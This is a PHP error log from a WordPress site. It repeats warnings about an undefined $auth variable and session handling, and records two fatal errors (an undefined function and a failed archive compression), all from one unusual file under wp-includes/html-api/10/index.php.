[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:29 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: data phar "/home/homerdlh/public_html/wp-includes/html-api/10/custom.file.4.1766663904.php.file.4.1766663904.php.tar.gz" has invalid extension file.4.1766663904.php.tar.gz in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
